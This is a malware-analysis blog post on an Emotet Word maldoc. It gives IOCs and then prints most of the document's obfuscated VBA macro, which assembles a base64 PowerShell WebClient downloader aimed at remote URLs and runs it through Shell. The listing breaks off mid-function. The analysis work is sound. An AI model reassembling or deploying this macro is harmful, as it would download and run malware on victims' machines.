2019-02-12 Deobfuscating an Emotet maldoc

This blog entry is going to cover how I managed to de-obfuscate the macro from the Emotet sample that I was able to grab. The maldoc can be found in my Github repo located here: https://github.com/bloomer1016/2019-02-12-Deobfuscating-Emotet-Maldoc.

Indicators of Compromise:
==========================
MD5 of Word doc: 35c716c82f9912cb1a57bf7ee72e0c53
VT: https://www.virustotal.com/#/file/9fb5e5242394557e27ca3ccfc492f7db0f7474662148a8797953df702b4d78db/detection
Any.Run: https://app.any.run/tasks/0e428667-3602-489f-85ac-1f022e2c9c1f

Analysis:
=========
So to be honest, I was using this maldoc as a case to try to get better using oledump from Didier Stevens. This all stems from his latest posts on the SANS ISC blog (https://isc.sans.edu/forums/diary/Maldoc+Analysis+of+the+Weekend/24626/ and https://isc.sans.edu/forums/diary/Video+Maldoc+Analysis+of+the+Weekend/24628/). Unfortunately I was not able to get this maldoc de-obfuscated as easily as I hoped with his tool. The closet that I got with oledump was the following cleaned up obfuscated code:

CMD: ./oledump.py -v -s A10 /Downloads/Email_zip_file\ \(1\)/attach/secure.accounts.docs.com
-----

Attribute VB_Name = "sKfw6m"
Function DsiufjK(rPP1jAE, wToiPvr)
On Error Resume Next
   J5UUuW = 123061037 + Rnd(113821029 / ChrB(781545532)) * (KOOBJ15 * CStr(nCU1DV) + (721212395 * 935778426 - dw9RbQ * J3aLT4S * (nBmZw7Zd + ZQYnLzp)))
Set L7zuIbtj = mahsn85
   V9NaRBp = 95561692 + Rnd(957947317 / ChrB(117312524)) * (J6n6Ni * CStr(a7EBBTk) + (63234899 * 42872721 - ovAu45 * Dr73V6D * (i1ShnPJd + V9blDk)))
Set bLLuAm = piEtG96
   kobw56 = 545927644 + Rnd(581946775 / ChrB(607181138)) * (wRoKibm * CStr(sqHIXs) + (282809907 * 875422380 - trm3QUi3 * bCq8sa4 * (YKQibW + QYLnppq)))
Set RYXzEjY7 = zKa8wzwa
Shell (rPP1jAE + iJf1R0 + jG4Ranf + rppKckZK + oM1fQI + nRaN1qpw), l6dXY99 + qnul14Cw + wToiPvr + tzKhPcU + tm0T1td + zEB7op
   fdESF6 = 575508045 + Rnd(683532192 / ChrB(303497533)) * (jLUuzP * CStr(lIzzDBMQ) + (663769490 * 515866827 - KSjEhYc * TENapKzS * (m3KmGvq + uo5K85)))
Set iQMazZ = DmWY1X
   oERpw3 = 383717547 + Rnd(399915385 / ChrB(399256710)) * (vYRhKH4D * CStr(B9GMwTU4) + (603348749 * 303774170 - TjNsOt2S * zBCsvH9l * (QhuGLcAj + p50LBuT)))
Set ILNXV9EK = K6AMEYz
   zqCBZXJ = 548079610 + Rnd(771197523 / ChrB(751962899)) * (Du5G9N6 * CStr(BSd5a4w) + (480523241 * 29726740 - o1MoXz * qzQ3DrzY * (fwQ176Yi + ZXEtUllN)))
Set lL0EPw = VNmiUua
End Function

Function UOiYERH()
On Error Resume Next
H57SuvkQ = 580923321 + Rnd(794405036 / ChrB(922132672)) * (iHzCJs * CStr(zkV9Dr) + (519194540 * 72757858 - cICcc6 * a4LjrPRR * (K9mTHvMT + kEEMhk)))
Set GLp2RS = rW4GqwY
   KlUqpAq = 17708137 + Rnd(707881123 / ChrB(51263178)) * (rkjuGi * CStr(iCHtLi) + (148797801 * 336525818 - KSsCzQFh * rA7lri * (SLD73usJ + ZG1VV11)))
Set pzQpibN = FjBrRP0
   OsiXQFj = 338100754 + Rnd(445330114 / ChrB(702107231)) * (MuhpkGrG * CStr(bw2KXm) + (80762172 * 499341496 - GRZjvF * ajdzrC * (PLupjYWF + bFs7P7Ci)))
Set S84fWnku = EwQXT4u0
QX0ipWjQ = "wersh" + "ell -" + "e J" + "ABIAE" + "wAMwA"
W4muYS = 611167433 + Rnd(614748696 / ChrB(781594660)) * (fuPfln * CStr(U9AvEskE) + (858642824 * 260979276 - sKmAZGO * DOJJvP * (RZSJpVV + cBzNuV)))
Set RbIPGfZ = Qt1lSdB
   z3w9zn = 993073110 + Rnd(741779901 / ChrB(334354848)) * (MFXjaSK * CStr(V9rjsAwK) + (507201983 * 373487450 - j6hCWJ * jFlicO * (ukifDb4 + OQw2wO)))
Set ZlJ1dEIU = QXIEdF
qYGMCi2F = "zAFIA" + "QwBS" + "ADA" + "APQAoA" + "CcAS"
TzUjia = 565698346 + Rnd(225118524 / ChrB(638188131)) * (cK5zSF3q * CStr(S1p6uJCo) + (653494707 * 327994882 - G3Gw7P * jrWE1NS * (TEHwLC9 + mQjj0A0)))
Set BsdJmv = hikFh2
   CzSFDc = 632134329 + Rnd(86595323 / ChrB(830203560)) * (BoAkuO * CStr(KqZVRq) + (609165067 * 436608025 - qzwQMo9 * Ds9O9z * (f7ivcUh + hbBYbBR)))
Set ZivcVm = zVOcbh
ZzzVfP = "wB2" + "ACcAKw" + "AnA" + "GQATAA" + "nACsAJ" + "wB1AHA" + "AcgAnA" + "CkAOwA" + "kAEo"
TXKcPvDT = 236589529 + Rnd(877971834 / ChrB(388169523)) * (HBiw30jH * CStr(Jh1rBfNz) + (444691419 * 228218004 - Vt2tHnq * uE9Q2ijN * (dwp05YEB + C7Ejol)))
Set H33aXtRd = IAnmCRo
   Cbnwmb = 446275897 + Rnd(161868866 / ChrB(164012177)) * (PUEsWO1U * CStr(cuTsqawk) + (616637866 * 634967740 - qMjIhdQ * ZVuL4D * (jBbQLir + wAojhi)))
Set a2INrWDt = UihzXE
   r98HzMT = 581348660 + Rnd(53715188 / ChrB(897420664)) * (pKU2LKi * CStr(ss2kNT) + (274942974 * 701914311 - lcFmn9Z * rpVWYKj7 * (i16IL9QG + tC3HXrK)))
Set k3vnwMn = YaqXc8R
zVCl3I58 = "ARwBU" + "ADk" + "AaQBZ" + "AE8A" + "YgA9AG" + "4AZQ" + "B3AC" + "0AbwB"
krRqwkL = 115930249 + Rnd(367062198 / ChrB(963166020)) * (wfZ4XkYu * CStr(W0bjcfVR) + (255655955 * 972165962 - iRQzY7D * cujvkVj * (F3VrQRP + jvFrFn)))
Set GnhMcrXU = su2Jvl
   FLio6M = 559670781 + Rnd(548770074 / ChrB(838715768)) * (nak9lG * CStr(RA2fnU) + (447465294 * 450247896 - dLB40O * XtuhFih * (IVdl1i + LPp2Tdud)))
Set mE2bV1 = bbw5X89
fcsnuE = "iAGo" + "AZQBjA" + "HQAIAB" + "OAGUA" + "dAAu" + "AFcA" + "ZQB" + "iAEM"
m14DVL = 572995062 + Rnd(682774435 / ChrB(713694484)) * (CnNPstY * CStr(lidlnh4I) + (32789883 * 481696362 - LPpdlNFj * WIBfdvn * (bucYLWRZ + WoO32w)))
Set oHfTsPQ = iHEHfOk
   maFmfhG = 382677825 + Rnd(402723107 / ChrB(567869187)) * (hiIL3p * CStr(NpI7Q2u) + (246140479 * 273502882 - T5fznjK * RiDVzIz * (XqibVSES + hw2GiJ2)))
Set nfmrcr = fwHIETcw
cNsVZwis = "AbA" + "BpAGU" + "AbgB0A" + "DsA" + "JABQAG" + "YAdwBI" + "AGMAW"
wQEJF5C = 910857363 + Rnd(735772532 / ChrB(646045182)) * (EKvQVU6 * CStr(JwMTOfsV) + (302030066 * 761120045 - Q7stFCpH * zEVElaMR * (Ztzb3z1Z + W3zwwOD)))
Set PPvXfz = I4RJBwZV
   MMwCzQk = 635618321 + Rnd(211664598 / ChrB(172405967)) * (cHhmFk * CStr(JzqwIkPU) + (835699373 * 889928129 - mvQaXAB * YVWJFp * (ULcwHd + w4OBQzT)))
Set Rw1HOF = bsdTpC58
   spHYft = 787943675 + Rnd(503285352 / ChrB(823021615)) * (GGSl8Djp * CStr(B43bwAH6) + (434043747 * 881188666 - wOGjjlQK * i9RvNSj * (D3UwvO8 + jjYKOUID)))
Set Y6Zk7kO = CwwZfO
SomS25ZG = "ABaAF" + "MAPQ" + "AoACc" + "AaAAn" + "ACs" + "AJwB0A" + "HQAJw" + "ArACcA"
ndWlmv = 950216595 + Rnd(508699961 / ChrB(660160967)) * (Q2Fw5w4 * CStr(YCZiDDBa) + (166636103 * 591485776 - MF5EAuBr * LR1CllA8 * (zZwrE3hi + RE2zEwK)))
Set B3NdjzHn = VaNB5sz
   PZBhBY = 432847934 + Rnd(740372105 / ChrB(341720823)) * (bErf4p * CStr(bqF0hm) + (687029270 * 950393171 - ktTliuB * NnGj6f * (zzZwcr + RMad6V)))
Set MnXz7k8 = dRoaHKd
GNc88i = "cAA6A" + "C8AJwA" + "rACcAL" + "wBk" + "ACcAKw" + "AnA"
UOiYERH = QX0ipWjQ + qYGMCi2F + ZzzVfP + zVCl3I58 + fcsnuE + cNsVZwis + SomS25ZG + GNc88i
End Function

Function B8waSCi()
On Error Resume Next
XwR36w = 740956857 + Rnd(869941583 / ChrB(530943620)) * (tSr33Iti * CStr(IXD5ru) + (825502236 * 225898445 - pD1Vsi * PdKbEz * (cwiQM4f + WO9OB5)))
Set JJzcVKY = KwHsSPZ
   MnccV7 = 961190641 + Rnd(579445124 / ChrB(898137460)) * (Tmn4GCm * CStr(dPqURfh) + (903131872 * 722011649 - a4HzPP5 * YjjuY917 * (V5tnn08 + rZD2Sv)))
Set awo2HUu = j67Tpk
mm44hw = "GEA" + "JwA" + "rAC" + "cAZA" + "BhACcA" + "KwA"
InO4O3Nf = 199648397 + Rnd(456529921 / ChrB(252932517)) * (S90uLjr0 * CStr(YT9qV8) + (203543474 * 467348574 - rCHVfI * zEmhoS * (ztRZFzp + iQL3i00n)))
Set Q2nOCq = Wr7pq9
   zcdKINwA = 305479612 + Rnd(453469133 / ChrB(364375221)) * (rcR0ckR * CStr(kpP3jv) + (140260638 * 45658419 - ti19I9zw * sjorwO * (cHlYw3u + NrA3Qzj0)))
Set YJAowB4O = cESKof
   Or9bom = 801021977 + Rnd(593364666 / ChrB(394078277)) * (uu9tbvb * CStr(lWwHzjQu) + (182045760 * 66368653 - qu16Wil9 * LVjHmpjp * (izZ532n + CZU8sE0)))
Set EQ1Vj5Jd = ulNjnBKB
o8NUEiH = "nAG" + "YAYQBy" + "AGkAb" + "gBnAG8" + "AcwA" + "nACsAJ"
WVGzsPp = 794294215 + Rnd(739163166 / ChrB(69831388)) * (uwT00uz * CStr(Lk18UDwV) + (742897564 * 330744520 - YFs2vkBA * V1MHPzp * (oQjNuP3 + uc0tkz)))
Set fIOKvUWz = nMz0pP
   KzY2MmM = 871634362 + Rnd(506657181 / ChrB(584139411)) * (iYBN4f * CStr(p4wT1YS) + (718321847 * 645022795 - m7YRzA * j2LwYpP * (PXoLZXl + EAwTiO)))
Set fOLHNN2 = ZlEYnl
   H0UFlvcY = 368496449 + Rnd(755538298 / ChrB(4852398)) * (SppvEM * CStr(A5bEt7C) + (48005019 * 485850505 - IHnvpZrs * Il9f92 * (zTSiNHE3 + qZV3BTQG)))
Set AWXdXU2T = mFUMiaY
jzYz573 = "wB0A" + "GEAcgA" + "nACs" + "AJwAuA" + "CcAKw" + "AnAG" + "MAJwAr" + "ACcAb"
Ss7dvFBj = 658707985 + Rnd(741460773 / ChrB(863073318)) * (f0H93w * CStr(tzAuJLs) + (103099660 * 527807294 - UjYoVM * nwzw75 * (p3VjD9 + v7tl5TZ)))
Set lfpMUw = ljzC0Ezl
   u0sop6jn = 669096961 + Rnd(367437000 / ChrB(234394384)) * (jBjHPvh * CStr(EVDM8Rw) + (997570283 * 857621762 - kruGpMB * KIVzji5w * (VU8X4Xk + PwpfzJt0)))
Set XCujCT8 = hYX0KZ
J6EaO6 = "wBtAC8" + "AJw" + "ArA" + "CcAcgB" + "0AF" + "EAdwBU"
cfWDMuO = 561080402 + Rnd(307034837 / ChrB(452682044)) * (lRkuXEFd * CStr(Of7DVN5) + (121958036 * 686562204 - rusNANjM * NrkZTf * (iYUjEO2 + VBoLvw)))
Set b3jW2fRs = pWoBr5
   VSNjYf = 938352640 + Rnd(281385414 / ChrB(305682240)) * (p34Ruh1 * CStr(MUvAh7tT) + (680785701 * 180003934 - GOUWj2O * F1UNhOLI * (AJUzFhN + nmlHOMp)))
Set wNpl49I = o0siL5z
   Xqms33DF = 860284994 + Rnd(816974520 / ChrB(432755606)) * (BUSGn3 * CStr(jF1vo4k) + (283074538 * 474804983 - t0ZjrX * nfwzUlsF * (ssR5Uul + L0czXdT2)))
Set nktm8wJ = bK7wwn
woo96Zz6 = "ACcAK" + "wAnADU" + "AJw" + "ArACcA" + "NQB6" + "AEAA"
jhoci1Oj = 249824459 + Rnd(385038570 / ChrB(802697655)) * (isaVuW * CStr(wjRU7A6K) + (138134194 * 991762995 - O35wi7 * qiNqQO * (ST6Ph5r9 + f1TVGY)))
Set zswl1zw5 = SlErsJw
   RqSbml7G = 493294547 + Rnd(941951185 / ChrB(107727560)) * (Ej9pZi * CStr(DtTb87) + (470117345 * 906077628 - DJlhdMA * f8CEo1H * (VRknGtP + AoodLHSC)))
Set cGvo97v = iok110
   XcutWDO4 = 590959662 + Rnd(964447523 / ChrB(72472530)) * (uiA0JR * CStr(zYmrDH) + (414704443 * 283378948 - b3zjv2p * RpDO00 * (QCN0Az + CHCT6wl)))
Set cvPTwI = DcY7Knrq
zpfFBH = "JwAr" + "ACcA" + "aAB0AH" + "QAcA" + "AnACs" + "AJwA6" + "AC8ALw" + "AnACsA"
qPSOSzr = 273662946 + Rnd(301592405 / ChrB(403393355)) * (kciM5LYD * CStr(P1E8JAS0) + (476476745 * 936633883 - NIX2dJn * o8oVG23t * (iXJ8cKU + wT6lTHMV)))
Set kOaOuf = fDIaPFj
   lV7a7Wih = 29791594 + Rnd(330322809 / ChrB(49106137)) * (RKVHZp6Q * CStr(jUa7Lf) + (410399670 * 571741316 - UbhYIwIs * KBDWSMN * (JJa6TQ + VSCmvli)))
Set j79mjMpL = OEn0RGj
bOIDQsaj = "JwBm" + "AGkAJ" + "wArAC" + "cAbABl" + "ACc" + "AKw"
njDMcZ = 65144999 + Rnd(867128970 / ChrB(155940769)) * (EWFUh5t * CStr(mEOimR) + (672095181 * 533618897 - OrKJ9jLM * BtkjPpK * (VMFtFWq + iKtjAdY)))
Set KGuWrLXF = kS8HfCb
   EpfAUYB = 151644257 + Rnd(98819593 / ChrB(942538894)) * (cOPXaFlZ * CStr(CSY3wLKC) + (910136498 * 254367424 - mwKEdWjI * RTmMDBh * (jXPmMl + r0DCSKk)))
Set LWmO17i = EQkHJisO
J8cCvsJ = "AnAC4" + "AbABhA" + "HUAYQ" + "BzAGk" + "Abg" + "BoAC4" + "AYwB" + "vAG0"
B8waSCi = mm44hw + o8NUEiH + jzYz573 + J6EaO6 + woo96Zz6 + zpfFBH + bOIDQsaj + J8cCvsJ
End Function

Function BIBrlzL()
On Error Resume Next
salW3cd = 897688160 + Rnd(173242530 / ChrB(572437022)) * (Gzmr88 * CStr(s5L1Fu) + (505833081 * 87354455 - k22CKl * zK8kYkk * (Vi736d0p + nRI8Yo)))
Set zJFmAjVA = OflPaw
   SVSj7IL = 498493456 + Rnd(257208968 / ChrB(175405816)) * (sOQj7ssG * CStr(i86MMLzA) + (133236746 * 143755478 - WobX5lw * EXHKbEB * (fmKovU + wArPCcaW)))
Set EizGRqS = pBuGvp1
LvY3XP = "AJw" + "ArA" + "CcA" + "LwAn" + "ACs" + "AJw"
sdbVwkcl = 994524332 + Rnd(220288436 / ChrB(179756893)) * (IfrPWDOt * CStr(YipZKP9S) + (717361710 * 557880855 - bvJuusS * k3RvKJXm * (AAi9wGK + B6c26w9)))
Set fSfbLN = Uo0Fkpw9
   ankR7E = 139855470 + Rnd(657506679 / ChrB(209285051)) * (GTcMEiE * CStr(DR6qaozi) + (403650313 * 120336883 - ws9WibA * sU48jtPl * (iM5PNs51 + hPF6AJ)))
Set rjHESDN = l46i4l
Dcvnnls = "BQAC" + "cAK" + "wAnAF" + "gAZQBo" + "AEwA" + "JwA" + "rACcA" + "UAAnAC"
DQRBBiZ = 129612578 + Rnd(158530774 / ChrB(979388377)) * (cmZZj5m * CStr(TO4qOPa1) + (996308587 * 268788261 - JAfOvvk5 * XGC7UDP * (vlhqBYUz + OKs3sXm4)))
Set GCaYBwwo = TkNfSEoU
   Mud3Tm = 254708547 + Rnd(546893607 / ChrB(656376276)) * (VuujdIqE * CStr(CVvKYK) + (679619170 * 309913694 - LmKFnp3K * Z4o4zcv * (OMa1BMZ + wbjOi7mw)))
Set wzPfmPsI = T6Z043hw
   rfHzP8Z5 = 779452360 + Rnd(314524005 / ChrB(434963530)) * (QBz6aLW * CStr(mO98tV) + (75953258 * 777698624 - rk7MsQBp * zpKVk0N * (VzwAjv31 + EzAvkK)))
Set qEpZfjR = DnXtHl
Bkabza = "sAJwBQ" + "AGw" + "AQA" + "AnACsA" + "JwBo" + "AHQAdA"
zziwRDBb = 705064820 + Rnd(15520999 / ChrB(155267771)) * (LfJvfTt * CStr(LCjivZa) + (655770653 * 621557200 - sH9Ek4 * LYsCkwh * (aPsiiikc + OlADY70d)))
Set ELl3QD0 = wsOKsJXf
   iSwATJ7D = 117721301 + Rnd(410169800 / ChrB(903695667)) * (iHJ6jJ * CStr(Gwo54j) + (14831678 * 668017117 - JFRvLWjw * WkA7M3NM * (u8XkhiJF + wX1bsWB)))
Set pZu1ishz = BVzZbEOs
   AtDAi4 = 79192877 + Rnd(356646810 / ChrB(193150959)) * (aoA2az * CStr(LOb0jNM) + (577273781 * 10214071 - RwhbP27 * fkaCrop * (FlFIbj0 + bzRTE0sZ)))
Set KvAiiVzn = P2hzC5v
wbqHZhV = "AnA" + "CsA" + "JwBw" + "ACcA" + "KwAnA" + "DoAJwA" + "rAC" + "cALwAv" + "AGEA"
SN9EOt = 400801773 + Rnd(706481524 / ChrB(212746292)) * (pJzzDbE * CStr(BVihzT6f) + (537372501 * 220808891 - FivJH6WF * fmLmiPa * (i3F0Bp + vz4K0r)))
Set iBq7fsTh = wVLvqEDA
   kpApXD = 162495480 + Rnd(792398794 / ChrB(649698527)) * (ZjMwL1wW * CStr(avAOshlF) + (509792796 * 554562066 - uFzVoWK * Rzr8ih * (fSoYIL + WofirI)))
Set CqGBzLc = iK6TRK0A
   QrPd0du = 571751711 + Rnd(596249814 / ChrB(290889878)) * (Nm3GRu7 * CStr(srhXaJ) + (720783157 * 982961732 - jilpU4 * pbrP9z * (ZHA8GhwP + lFiTBk)))
Set cEp8iMGk = dlsrvl
nDv43V = "JwArA" + "CcAbgA" + "nACsAJ" + "wBn" + "AGkAcg" + "BhAH"
Z6swz6 = 439748052 + Rnd(831622495 / ChrB(404758131)) * (iT1dj2 * CStr(OsV0Oabj) + (823614072 * 607952038 - WQu1kdF * rXimkRB * (HACk4iI + SXWmNtF)))
Set iA4Fw5c = pWoIZ2T
   n18jT6 = 952144196 + Rnd(230294134 / ChrB(425223701)) * (E63TCnf * CStr(wHztkj) + (400904022 * 632467969 - r5jZ1T * tbVUAIDU * (w1PIRBKm + zwjT5J)))
Set cfBAB1m = hHopPJro
   Qss2NEcF = 361089100 + Rnd(965824406 / ChrB(716103464)) * (lj2OjV9 * CStr(POAaPUz) + (982453181 * 801390467 - JtiF4C9E * NiRcvtJ * (PMM8Zd + qIRXKNHd)))
Set oUjW4J = jt9iko
rWLso0 = "MALgAn" + "ACsA" + "JwBv" + "AHIAJ" + "wArAC" + "cAZw" + "AvAH"
mtz3DZX = 962115688 + Rnd(186144534 / ChrB(171845330)) * (AVs08A * CStr(SolOHZ5) + (162493122 * 948977706 - wSzPGBW4 * WOADo9 * (Ii8ISBE + noiNApK)))
Set KFl8kGmS = iLda4zw
   caBTAmqM = 871765078 + Rnd(707258343 / ChrB(507267468)) * (BIp99Gz * CStr(ojjioYnr) + (928811235 * 513266027 - TMfp2vfS * QAU746 * (LMEunc + wSjKw0w)))
Set wKTGVRT = MjOrirqr
jiC3ZwNt = "gAJwAr" + "ACcAOA" + "BCAC" + "cAK" + "wAnAG" + "oAYQB" + "NAC" + "cAKwA"
wM1jwl1h = 80999420 + Rnd(445577673 / ChrB(144647992)) * (WwFwvU * CStr(j2jZNZ) + (404611844 * 802660200 - LsmdTW7P * toRX6I * (N3SzuzRU + fLbt7d)))
Set Z9cs2f = KCjJiE
   SAuc9T1G = 521046457 + Rnd(991904743 / ChrB(334991763)) * (UkjtcWo * CStr(EwKCdiA) + (338337561 * 636398123 - ZuYfKj * UfLN9mE * (iVwNz1 + P71SGLWw)))
Set hMDi3m = A4jMZYw
   NknRZU1L = 947509473 + Rnd(456253818 / ChrB(316982394)) * (sQ5fdSQA * CStr(QziCoroP) + (280977523 * 226482944 - wTrLE9 * JiofpJ8z * (rw42Ub + JdRMCs)))
Set RlwSOSRm = J9Wfuzh8
NpY8wL9 = "nADQ" + "AJw" + "ArA" + "CcAN" + "AAnA" + "CsAJwA"
wl7PnKt = 339086241 + Rnd(587795483 / ChrB(159454497)) * (mYKEPfo0 * CStr(zU8Tljd) + (914514087 * 730759206 - QwMOQ3X * vmLtvn7 * (bG6CaomR + K2pa5Ra)))
Set s0mQm4nT = c9km8M
   GM27B0 = 935041082 + Rnd(773137296 / ChrB(937261156)) * (u86X8k * CStr(YCFSEMc5) + (102353533 * 556183881 - Nv6tXkGS * riO5GR8C * (zPaFC4z + DzNXqvI)))
Set AWdnMr = DKFL8E9
Shl9iw = "0AEkA" + "QABoAH" + "QAdAA" + "nACs" + "AJw" + "BwACc" + "AKwAnA"
b8tqLvh = 740872502 + Rnd(958053801 / ChrB(844614177)) * (wYNlRjnA * CStr(w0hCqNHG) + (278944652 * 239573739 - tJIFBLE4 * IVMK0jm * (bzzBtJI + f2jI8J)))
Set XMhb7s = rLzfOld
   Ujzz0k = 496985461 + Rnd(963076803 / ChrB(572193659)) * (NzXiwwP * CStr(IAwXoj) + (937109883 * 110568400 - lzdUG7v * RiSFzhL * (M99kQf + mZKZoXz)))
Set swcRlCaw = s601d1s
   ivOPAV = 947449998 + Rnd(912092045 / ChrB(427464764)) * (pfbuo5j * CStr(dPYOPU8) + (577691146 * 752099965 - lXm0KRW * U5kS64r * (hbWv1f + z0pYWJu)))
Set V4cjWiA5 = iFTWmkT
zhGozS = "DoA" + "LwA" + "vAGEA" + "ZABzAH" + "UAaQB" + "kAGU"
BIBrlzL = LvY3XP + Dcvnnls + Bkabza + wbqHZhV + nDv43V + rWLso0 + jiC3ZwNt + NpY8wL9 + Shl9iw + zhGozS
End Function

Function wBuzmLiw()
On Error Resume Next
vNrK59 = 956706527 + Rnd(818839896 / ChrB(796694744)) * (NHaPKlrO * CStr(NcdZw8Mj) + (337452864 * 740566261 - cskorLpR * C8fChbIh * (ZVovNvI + Pcwfijro)))
Set ajPlhZj4 = nYzD3RM
   lDoFh0l = 472973831 + Rnd(808105059 / ChrB(834895767)) * (winr3f * CStr(JmAJACGd) + (874977290 * 543129242 - jWY6wzKs * OBIW9RhL * (XGRFCiE + GlQrNhmG)))
Set CVTLiV0A = q7rUkb
   PnSizzU = 213939234 + Rnd(774407036 / ChrB(371253078)) * (LI11W9 * CStr(boSXYXZk) + (766663396 * 408958789 - nsdUNPA * YrQMQb70 * (HqS2oV + XZtbWU)))
Set ZpfmH9 = D8CLH6cl
qc2z0SEi = "ALgBjA" + "GwAJwA" + "rACcAd" + "QBiA" + "C8AeQ" + "AnACs" + "AJwA3A" + "CcA"
lbU0oKiJ = 988155962 + Rnd(209797982 / ChrB(816298229)) * (SLM5jYVq * CStr(AV1tQoa) + (744496409 * 566978797 - tp1aiXp * ozZlwlkB * (cGHGTow + ZjcPYU)))
Set SiCAqcz = wO6oEY
   IIfvfQ = 126723074 + Rnd(435246359 / ChrB(239927486)) * (Iwb2OvdJ * CStr(pmHtUpiO) + (274313895 * 667423204 - wT9PHuL * Dj4lNf * (fPAbJWjY + fnM8nA)))
Set G30ot8Gz = LHHKRj
   ZGimFT = 448910842 + Rnd(975006233 / ChrB(902959419)) * (DquEND3h * CStr(qRtwwj) + (694330149 * 839966900 - UQmifl * itIzz8 * (QDciJik + qvzTtuII)))
Set pDMjlAz = uBbvvW
Oujhvq7b = "KwAnA" + "DcAUQB" + "UAEsA" + "aABW" + "AEAAa"
JNkiz3t = 972918120 + Rnd(62913320 / ChrB(675933919)) * (TLltLFr * CStr(vq5uWh1) + (117545973 * 552808295 - uJlddw * KHUJTIK * (wXkuX1Qh + WU42fp1f)))
Set GQWRRib = fmMMHLK
   LhWNjJ = 422361797 + Rnd(825988100 / ChrB(960446742)) * (unQbwl5 * CStr(RBHvYS5) + (371852211 * 669689825 - SbnCHit * VBGmPuw * (Mfj3rq + fzQPDJs)))
Set XANTP2 = JT6ffnd
QV7zAXF = "AAnAC" + "sAJwB0" + "AHQ" + "AcAAn" + "ACsAJw" + "A6AC8"
ccEjDY = 754402666 + Rnd(918619055 / ChrB(332129654)) * (oOdci46m * CStr(iGQzdXZn) + (365204995 * 167486757 - T9LUVwT * iZZ3O2R * (JoKf8V + iBUR82LZ)))
Set OKhJTRZ = s7OjIwG0
   IoDhaM = 680309150 + Rnd(409541587 / ChrB(272583767)) * (w77M0s * CStr(KIOUAj) + (230196283 * 737336328 - NojRw9VK * Qcrz7p * (onJOQb + vUD9Mc)))
Set BDpnH92 = J1tabXUz
BzjlMR1F = "ALwBt" + "AGkAY" + "wBoA" + "GEAZQ" + "BsAHc" + "Acg"
YEZYKz = 484079901 + Rnd(856252385 / ChrB(453031564)) * (ni7woC * CStr(JKCbiHz) + (524843583 * 525322135 - Q8appC1 * fAi2So * (QLbYIcd1 + vRXR8Jz)))
Set R3RuzH = JlKI1m
   d1qKOZ4 = 569587438 + Rnd(40491157 / ChrB(795065016)) * (XuzjUS * CStr(DZd4Q6L) + (484350220 * 264894368 - EOzuWb * XPiDk4 * (CJoPjWcj + p4SNZS8)))
Set Fo0dE3BC = S3AzFJU
OQKf7zP = "BpAG4" + "AZwBs" + "ACcAK" + "wAnAGU" + "AJwArA" + "CcAcgA" + "uAG" + "MAbwAn"
iPajiivw = 758049099 + Rnd(29968186 / ChrB(84134420)) * (zpJCJLqM * CStr(lPirktdA) + (454640686 * 979235537 - Ysphul * Gw2Kmaf * (kLvlUrR0 + CRBnzS)))
Set WXlbEj = vYXFJN6J
   JJBzKd0 = 533760493 + Rnd(204798771 / ChrB(972421293)) * (NRAdWzj4 * CStr(kjTTa5sC) + (597516013 * 796959116 - EZXt08 * WTW13z * (DhjJtWb + rDFwKXL)))
Set KkGm1lzt = IdblLF9
   aUmOd6IY = 813499503 + Rnd(892580030 / ChrB(229282420)) * (RSLoKM * CStr(S4zDjIX) + (92456921 * 676503421 - VVCFZLfI * DUdaRK * (ZlrvMJaz + ouTITP4r)))
Set ncoDSN = SnS9SVL
ds84PI = "ACs" + "AJw" + "BtAC8A" + "SQBSA" + "FkAWQ"
EnFmNMk = 158944847 + Rnd(495498364 / ChrB(317397199)) * (Odn3lV05 * CStr(Ho8sazts) + (643924693 * 122337613 - nsBzvw * iPdW9V61 * (Nw0Ria + ozZwp7B)))
Set v2vjLAoO = itE24Z
   s53wzV4 = 433634640 + Rnd(637973148 / ChrB(324097061)) * (QL2bUcc * CStr(Qr7U65E) + (601877437 * 277611535 - wQEmdcQh * C8fzwrY0 * (ppDhM7 + WzzWsRhD)))
Set w3L5Mi = WjGMplSZ
bZjAXG = "AnAC" + "sAJwBx" + "AFAAY" + "gA1AC" + "cAKwAn" + "AE4AJw" + "ApA" + "C4AUwB"
zJaNqwG = 899556606 + Rnd(323850921 / ChrB(502299257)) * (ZBRanD * CStr(HPwVsmL) + (866253917 * 206154605 - kCATQD * CVNSNDan * (TuAQTSt + aDnOqP)))
Set GirAX8IF = zlSR9ojz
   w8C6ATj = 241659996 + Rnd(221131664 / ChrB(67853889)) * (i9Spcmnn * CStr(GYHS4bwL) + (941622527 * 173833504 - cPNYlMB7 * Zzl8sa * (PItCzo + VHcBHKGr)))
Set WDAal7 = uTr7tW
lsk59K2 = "wAGwA" + "aQB" + "0ACgAJ" + "wBA" + "ACcA" + "KQA7AC" + "QAa" + "QAw"
KLPzsmr = 338153119 + Rnd(235357777 / ChrB(298636519)) * (bEp1Ja * CStr(S9RcLCBV) + (489922374 * 216470377 - Ti45Ca * kkpPUapz * (MHuHRN5z + fV1Bzc59)))
Set qs9vBvSC = TNXf9YRP
   tXsOkA = 610084019 + Rnd(501257081 / ChrB(868022676)) * (JzOPLhAY * CStr(laT7L1dP) + (771486829 * 751382428 - rGbF8Pf * qX59YshP * (lwHJ7YS + HPFMIz)))
Set pFku4j = CZ9zH6A5
MzvEWt = "ADUANQ" + "BhAG" + "wATw" + "BQAD" + "0AK"
dLH2l3 = 483458888 + Rnd(225844508 / ChrB(860698071)) * (H2cI5E7 * CStr(hMXBjRrT) + (286274657 * 198493336 - VPoPcU * lCcOsj * (FO4wLtWW + RULK7p)))
Set llz3cu = GltJTA
   j29Ibk = 628709120 + Rnd(937903414 / ChrB(301295133)) * (NSZmmzz * CStr(I3f6tn0) + (970414523 * 752346545 - hCjjXr * mzS0sTiz * (r4kY03 + CZwkoLT)))
Set LvzP6WDP = uzmOzzo6
CSfGq3 = "AAn" + "AHQAcA" + "BZA" + "EUAM" + "gBvACc" + "AKw"
s30bZv = 323743509 + Rnd(971962241 / ChrB(573005648)) * (zdtWJ6K * CStr(DVh498) + (840601367 * 509444007 - B7W2DV * q3UoFSil * (Qhza9A + RFdb6wv)))
Set ZmmqAUOW = UPPYX2jL
   MR7BGw = 599233617 + Rnd(898967321 / ChrB(769829978)) * (ZrrcTkiE * CStr(EkHTrLXt) + (661800549 * 658446957 - Gj1Dk6M * mYC4rqf * (DdKQJrwr + LJGmEAk)))
Set NAn2XiV = VAf2Kz
   jwlnQu = 591392880 + Rnd(219462055 / ChrB(442769878)) * (njbzqXI * CStr(NqIEHw) + (220029654 * 987614661 - z67lwo * wY9RiC * (cjLlw0L + Aojfchlm)))
Set jz8mIMP = C0LG9pQ
